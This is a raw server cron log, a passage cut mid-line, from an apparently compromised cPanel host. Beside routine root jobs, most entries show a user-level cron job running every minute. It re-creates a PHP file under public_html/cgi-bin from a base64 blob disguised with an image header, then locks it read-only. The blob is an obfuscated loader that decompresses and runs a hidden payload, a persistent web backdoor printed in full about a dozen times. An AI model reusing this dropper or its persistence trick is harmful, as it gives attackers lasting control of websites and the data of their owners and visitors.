" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:42:01 server CROND[25992]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 16:42:01 server CROND[25993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:42:01 server CROND[25994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:42:01 server CROND[25995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:43:01 server CROND[26484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:43:01 server CROND[26485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:43:01 server CROND[26486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:44:01 server CROND[26919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:44:01 server CROND[26920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:44:01 server CROND[26921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:45:01 server CROND[27305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:45:01 server CROND[27319]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:45:01 server CROND[27321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:45:01 server CROND[27323]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:45:01 server CROND[27322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:45:01 server CROND[27324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:45:01 server CROND[27320]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:46:01 server CROND[28131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:46:01 server CROND[28132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:46:01 server CROND[28133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:47:01 server CROND[28522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:47:01 server CROND[28521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:47:01 server CROND[28523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:48:01 server CROND[29006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:48:01 server CROND[29007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:48:01 server CROND[29008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:49:01 server CROND[29396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:49:01 server CROND[29397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:49:01 server CROND[29398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:50:01 server CROND[29841]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:50:01 server CROND[29843]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:50:01 server CROND[29848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:50:01 server CROND[29851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:50:01 server CROND[29846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:50:01 server CROND[29862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:50:01 server CROND[29864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:50:01 server CROND[29863]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:50:01 server CROND[29865]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 16:51:01 server CROND[30689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:51:01 server CROND[30690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:51:01 server CROND[30691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:52:01 server CROND[31074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:52:01 server CROND[31075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:52:01 server CROND[31073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:53:01 server CROND[31559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:53:01 server CROND[31561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:53:01 server CROND[31560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:54:01 server CROND[31946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:54:01 server CROND[31947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
